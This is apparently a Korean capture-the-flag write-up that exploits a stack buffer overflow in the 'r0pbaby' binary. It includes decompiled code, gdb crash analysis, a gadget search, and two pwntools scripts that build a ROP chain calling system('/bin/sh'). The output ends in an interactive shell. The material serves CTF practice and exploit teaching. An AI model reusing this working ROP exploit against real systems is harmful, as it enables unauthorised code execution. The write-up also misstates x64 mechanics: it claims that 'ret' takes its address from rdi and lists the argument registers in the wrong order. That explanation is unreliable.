./r0pbaby
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 10 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. Segmentation fault (core dumped) babyhack@ubuntu:~/tmp$ ls |
내부 코드를 보면 다음과 같이 memcpy에서 overflow가 발생 합니다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int v3; // eax@4 unsigned __int64 v4; // r14@15 int v5; // er13@17 size_t v6; // r12@17 int v7; // eax@18 void *handle; // [rsp+8h] [rbp-448h]@1 char nptr[1088]; // [rsp+10h] [rbp-440h]@2 __int64 savedregs; // [rsp+450h] [rbp+0h]@22
setvbuf(stdout, 0LL, 2, 0LL); signal(14, handler); alarm(0x3Cu); puts("\nWelcome to an easy Return Oriented Programming challenge..."); puts("Menu:"); handle = dlopen("libc.so.6", 1); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { Menu_sub_BF7(); if ( !sub_B9A((__int64)nptr, 1024LL) ) { puts("Bad choice."); return 0LL; } v3 = strtol(nptr, 0LL, 10); if ( v3 != 2 ) break; __printf_chk(1LL, "Enter symbol: "); if ( sub_B9A((__int64)nptr, 64LL) ) { dlsym(handle, nptr); __printf_chk(1LL, "Symbol %s: 0x%016llX\n"); } else { puts("Bad symbol."); } } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_24; __printf_chk(1LL, "libc.so.6: 0x%016llX\n"); } if ( v3 != 3 ) break; __printf_chk(1LL, "Enter bytes to send (max 1024): "); sub_B9A((__int64)nptr, 1024LL); v4 = (signed int)strtol(nptr, 0LL, 10); if ( v4 - 1 > 0x3FF ) { puts("Invalid amount."); } else { if ( v4 ) { v5 = 0; v6 = 0LL; while ( 1 ) { v7 = _IO_getc(stdin); if ( v7 == -1 ) break; nptr[v6] = v7; v6 = ++v5; if ( v4 <= v5 ) goto LABEL_22; } v6 = v5 + 1; } else { v6 = 0LL; } LABEL_22: memcpy(&savedregs, nptr, v6); <---- memcpy를 입력한 숫자 만큼 입력 받음. } } if ( v3 == 4 ) break; LABEL_24: puts("Bad choice."); } dlclose(handle); puts("Exiting."); return 0LL; } |
해당 코드는 입력한 숫자 만큼 입력 값을 복사하고 입력한 숫자보다 많은 양이 들어올 경우 overflow가 발생하여
프로그램이 종료 됩니다.
공격하기 용이한 코드를 입력 해 볼까요?
babyhack@ubuntu:~/tmp$ (python -c 'print "3\n" + "20\n" + "a"*30 + "\n"';cat) | ./r0pbaby
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Enter bytes to send (max 1024): 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice.
Segmentation fault (core dumped) babyhack@ubuntu:~/tmp$ |
편리한 공격 코드가 만들어졌으니 이제부턴 주소를 계산하여 실제 exploit을 작성해 보도록 하겠습니다.
이젠 gdb를 활용하여 메모리에 할당된 정보를 확인 해 봅시다.
babyhack@ubuntu:~/tmp$ gdb -q r0pbaby Reading symbols from r0pbaby...(no debugging symbols found)...done. (gdb) run Starting program: /home/babyhack/tmp/r0pbaby
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 1 libc.so.6: 0x00007FFFF7FF79B0 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: system Symbol system: 0x00007FFFF7857640 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : ^C Program received signal SIGINT, Interrupt. 0x00007ffff78fc810 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) info proc map process 11848 Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x555555554000 0x555555556000 0x2000 0x0 /home/babyhack/tmp/r0pbaby 0x555555755000 0x555555757000 0x2000 0x1000 /home/babyhack/tmp/r0pbaby 0x555555757000 0x555555778000 0x21000 0x0 [heap] 0x7ffff7811000 0x7ffff79cc000 0x1bb000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff79cc000 0x7ffff7bcb000 0x1ff000 0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff7bcb000 0x7ffff7bcf000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff7bcf000 0x7ffff7bd1000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so 0x7ffff7bd1000 0x7ffff7bd6000 0x5000 0x0 0x7ffff7bd6000 0x7ffff7bd9000 0x3000 0x0 /lib/x86_64-linux-gnu/libdl-2.19.so 0x7ffff7bd9000 0x7ffff7dd8000 0x1ff000 0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so 0x7ffff7dd8000 0x7ffff7dd9000 0x1000 0x2000 /lib/x86_64-linux-gnu/libdl-2.19.so 0x7ffff7dd9000 0x7ffff7dda000 0x1000 0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so 0x7ffff7dda000 0x7ffff7dfd000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so 0x7ffff7fdf000 0x7ffff7fe2000 0x3000 0x0 0x7ffff7ff5000 0x7ffff7ff8000 0x3000 0x0 0x7ffff7ff8000 0x7ffff7ffa000 0x2000 0x0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so ---Type <return> to continue, or q <return> to quit---
|
gdb를 통하여, bof를 발생 시키고 메모리를 확인 하도록 합니다.
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/babyhack/tmp/r0pbaby
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 10 AAAAABBBBBCCCCCDDDDD 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice.
Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7834242 in __strtok_r_1c (__nextp=<optimized out>, __sep=<optimized out>, __s=0x7ffff78fc870 <__write_nocancel+7> "H=\001\360\377\377s1\303H\203\354\b\350\356\310\001") at ../string/bits/string2.h:1161 1161 ../string/bits/string2.h: No such file or directory. (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/babyhack/tmp/r0pbaby
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 10 AAAABBBBCC 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice.
Program received signal SIGSEGV, Segmentation fault. __gconv_open (toset=<error reading variable: Cannot access memory at address 0x42424242414140d1>, toset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>, fromset=<error reading variable: Cannot access memory at address 0x42424242414140d9>, fromset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>, handle=<error reading variable: Cannot access memory at address 0x42424242414140a9>, handle@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>, flags=<error reading variable: Cannot access memory at address 0x42424242414140c9>, flags@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>) at gconv_open.c:93 93 gconv_open.c: No such file or directory. (gdb) |
입력 받을 숫자를 입력하고 입력한 숫자만큼 문자를 입력할 경우 주소를 컨트롤 가능합니다.
따라서, 쉘코드가 충분히 들어갈 수 있는 사이즈로 입력 크기를 잡고 메모리 확인을 해야 합니다.
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 20 AAAABBBBCCCCDDDDEEEE 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice.
Program received signal SIGSEGV, Segmentation fault. 0x0000555555554eb3 in ?? () (gdb) x/i $rip => 0x555555554eb3: retq (gdb) x/gw $rsp 0x7fffffffdf28: 0x43434343 (gdb) |
ret 명령어는 esp의 첫번째 주소를 가지고 옵니다.
하지만, x64의 경우는 ret 명령어는 rdi의 주소를 가지고 오므로 pop rdi; ret 주소가 필요하게 됩니다.
[[ x64 ret 주소 참조 순서 ]]
rdi -> rsi -> rdx -> r10 -> r9 -> r8 > ....... |
따라서, Gadget을 찾아야 합니다.
(※ rp++를 활용하면 쉽게 얻을 수 있습니다.)
babyhack@ubuntu:~/tmp$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 4 | grep "pop rdi" | more ....................... 0x0002c46f: pop rdi ; ret ; (1 found) 0x0002c581: pop rdi ; ret ; (1 found) 0x0002cdf5: pop rdi ; ret ; (1 found) 0x0002d087: pop rdi ; ret ; (1 found) 0x0002dd87: pop rdi ; ret ; (1 found) 0x0002f72c: pop rdi ; ret ; (1 found ................ |
그럼 이젠 payload를 작성해 보도록 하겠습니다.
그럼 exploit을 짜봅시다.
[[ exploit - 1 ]]
from pwn import * from struct import *
endian = lambda x:struct.pack('<Q', x)
binsh_offset = 0x17ccdb pop_ret_offset = 0x2c581 system_offset = 0x46640
s = process("./r0pbaby") print s.recvuntil(": ") # Menu
s.send("1\n") # 1. Get libc address get_libc_addr = s.recv(2048) print "[*] %s " % get_libc_addr libc_addr = eval(get_libc_addr.split(':')[1]) print "[*] libc split : 0x%08X" % libc_addr
print s.recvuntil(": ") # Menu
s.send("2\n") # 2. Get address of a libc function print "[*] %s " % s.recv(2048) s.send("system\n") # "system" function system_recv = s.recv(2014) print "[recv] %s" % system_recv system_addr = eval(system_recv.split(':')[1])
# payload payload = "A" * 8 payload += endian(libc_addr + pop_ret_offset) # pop rdi; ret; payload += endian(libc_addr + binsh_offset) payload += endian(system_addr)
print "[*] Payload : %s" % payload
s.send("3\n") s.recv(1024) s.send("%d\n" %(len(payload)+1)) s.send(payload + "\n") s.send("4\n") s.recv(1024) s.interactive() |
[[ 결과 ]]
babyhack@ubuntu:~/tmp$ python exp.py [+] Started program './r0pbaby'
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : [*] libc.so.6: 0x00007FC2C2A989B0 [*] libc split : 0x7FC2C2A989B0 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : [*] Enter symbol: [recv] Symbol system: 0x00007FC2C20F0640
[*] Payload : AAAAAAAA1O\xac��\x7f\x00\x00\x8bV���\x00\x00@\x06\x0f��\x7f\x00\x00 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ |
쉘은 떨어졌지만 명령어가 입력되지 않습니다.
따라서, 주소를 다시 얻어서 사용하는 방식으로 코드를 수정 했습니다.
[[ exp 2.py ]]
from pwn import * from struct import *
endian = lambda x:struct.pack('<Q', x)
binsh_offset = 0x17ccdb pop_ret_offset = 0x2c581 system_offset = 0x46640
s = process("./r0pbaby")
print s.recvuntil(": ") # Menu
s.send("1\n") # 1. Get libc address get_libc_addr = s.recv(2048) print "[*] %s " % get_libc_addr libc_addr = eval(get_libc_addr.split(':')[1]) print "[*] libc split : 0x%08X" % libc_addr
print s.recvuntil(": ") # Menu
s.send("2\n") # 2. Get address of a libc function print "[*] %s " % s.recv(2048) s.send("system\n") # "system" function system_recv = s.recv(2014) print "[recv] %s" % system_recv
system_addr = eval(system_recv.split(':')[1])
print "[*] System Addr split : 0x%08X" % system_addr libc_base = system_addr - system_offset print "[*] calc - libc_base : 0x%08X" % libc_base
# payload payload = "A" * 8 payload += endian(libc_base + pop_ret_offset) # pop rdi; ret; payload += endian(libc_base + binsh_offset) payload += endian(system_addr)
print "[*] Payload : %s" % payload
s.send("3\n") s.recv(1024) s.send("%d\n" %(len(payload)+1)) s.send(payload + "\n") s.send("4\n")
s.interactive() |
[[ 결과 ]]
babyhack@ubuntu:~/tmp$ python 2exp.py [+] Started program './r0pbaby'
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : [*] libc.so.6: 0x00007F433F12D9B0 [*] libc split : 0x7F433F12D9B0 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : [*] Enter symbol: [recv] Symbol system: 0x00007F433E785640
[*] System Addr split : 0x7F433E785640 [*] calc - libc_base : 0x7F433E73F000 [*] Payload : AAAAAAAA\x81\xb5v>C\x7f\x00\x00ۼ\x8b>C\x7f\x00\x00@Vx>C\x7f\x00\x00 [*] Switching to interactive mode 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Exiting. $ id uid=1000(babyhack) gid=1000(babyhack) groups=1000(babyhack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) $ |